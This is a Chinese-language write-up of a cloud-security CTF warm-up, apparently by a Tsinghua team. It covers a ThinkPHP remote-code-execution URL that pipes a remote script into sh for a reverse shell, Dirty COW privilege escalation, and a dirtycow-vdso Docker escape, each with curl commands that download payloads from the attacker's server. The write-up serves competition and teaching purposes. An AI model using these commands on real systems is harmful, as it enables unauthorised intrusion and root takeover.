作者:紫荊花
原文鏈接: https://zhuanlan.kanxue.com/article-8686.htm

GeekPwn 與騰訊安全聯合發起的“云安全挑戰賽”線上熱身賽已經落下帷幕。

經過 48 小時的比拼,Redbud025 戰隊以最快時間提交了最多正確答案,榮獲第一名。本期,我們也邀請到這支來自清華大學網絡與信息安全實驗室的 Redbud025 戰隊,為大家還原解題過程。

這次是首個基于真實云平臺的云安全挑戰賽,整個題目是提權和逃逸的不斷嘗試,總共有七個題目。

比賽環境覆蓋 APP, Docker, KVM 和 Pysical 各個層次,七個題目如下:

題目要求:

除測試題外,選手置身于一個模擬的云環境中,選手的任務就是從這個僅有的 Web 接口,層層滲透,獲得更高的權限,用于讀取指定的 flag 文件。

1、Web 網頁測試題目

首先 Web 入口的題目的地址是→

http://user0022:dcc16fc2@121.12.172.119:30022/public/index.php

打開后有個 base64 字符串,解碼即可得到 flag。

2、APP 題目

題目信息

小明選了學校的 Web 開發課程,學習了世界上最好的語言,女朋友想送他一本書作為生日禮物,她覺得《Thinking In PHP》不錯,可惜有點貴。選手的任務是幫小明女朋友找到存放在 /tmp/flag.lev2.txt 中的優惠碼。

可以知道題目地址是個 thinkphp 框架;直接 google 查找 thinkphp 漏洞,發現

https://learnku.com/articles/21227 的漏洞可以成功利用,利用方式如下:

http://121.12.172.119:30022//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=需要執行的命令

通過這個漏洞反彈 shell,EXP 如下:

http://121.12.172.119:30022//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=curl+https%3A%2F%2Fshell.now.sh%2F154.223.145.173%3A1337+%7C+sh

執行 cat /tmp/flag.lev2.txt 得到 flag:flag{PHP_is_The_best_language_^^5578}

3、Docker 提權題目

題目信息

小明又選了一門《操作系統設計與原理》的課程,但是小明有個問題一直很疑惑,他區分不出特權用戶和普通用戶,選手能幫小明演示一下特權用戶嗎,例如幫小明讀取一下存在 /root/flag.lev3.txt 中的課后作業答案。

直接使用上面一步反彈 shell 是無法讀取 /root/flag.lev3.txt,因為權限不夠。通過 whoami 可以看到是 centos 用戶,這個環節是需要提權。在服務器 /tmp 目錄下下載 linux-exploit-suggester.sh,通過執行得到如下信息:

sh ./linux-exploit-suggester.sh …….[+] [CVE-2017-16995] eBPF_verifier[+] [CVE-2016-5195] dirtycow[+] [CVE-2016-5195] dirtycow 2

服務器存在臟牛漏洞,使用

https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679 POC。

下載 cowroot.c,在自己的服務器編譯:

gcc cowroot.c -o cowroot -pthread

然后在 反彈shell 中下載:

curl -O http://154.223.145.173:8080/cowroot

運行得到 root 的 shell,從而可以順利讀取 /root/flag.lev3.txt 文件得到 flag:flag{root_in_the_docker^^1256}

4、Docker 逃逸題目

題目信息

小明同學在獲得了 root 權限之后,他認為自己獲得了至高無上的權限,非常開心的在 Linux 的世界中暢游,直到他發現 /root/message 文件中寫著這個世界的秘密。意識到自己只是在容器中游玩,小明非常想讓選手幫他看一下外面的風景,例如幫小明讀取一下存在容器外部 /tmp/flag.lev4.txt 中的秘密。

讀取 /root.message,其實沒什么用就是告訴你:你在 Docker 里面,外面是 KVM 虛擬環境,需要選手逃逸 Docker。

沒想到這題也是可以繼續用臟牛 POC,https://github.com/scumjr/dirtycow-vdso ,即利用 dirtycow 內核漏洞修改 vdso,對內核宿主機進程進行 hook,造成 docker 逃逸。

在自己的服務器編譯好,然后在目標機器執行:

curl http:// 你的服務器 IP/0xdeadbeef -o 0xdeadbeefchmod +x 0xdeadbeef./0xdeadbeef 你的服務器 IP: 端口

逃逸之后讀取 /tmp/flag.lev4.txt 得到 flag:flag{jump_outsize_of_your_own^^3356}

5、KVM 提權題目

題目信息

小明同學已經被選手高超的技術所折服了,決定好好學習,勵志從事信息安全行業,但是這時候交期末大作業的時候到了,小明嘗試了多次還是做不出來。小明非常想讓選手幫他讀取一下 /root/flag.lev5.txt 中的大作業答案。

這題本意是想考察提權,但是題目 4 的 Docker 逃逸出來的用戶有 root 權限,直接可以查看 /root/flag.lev5.txt 得到 flag:flag{root_is_very_powerfull^^4987}

題目 6 和題目 7 好像沒有隊伍做出來,題目 7 應該是個 0day 了。

參考鏈接

https://github.com/mtalbi/vm_escape

https://david942j.blogspot.com/2018/09/write-up-tokyowesterns-ctf-2018.html

https://github.com/perfectblue/ctf-writeups/blob/master/RealWorldCTF-2018/kidvm.md

https://opensource.com/article/18/5/how-find-ip-address-linux

https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/951/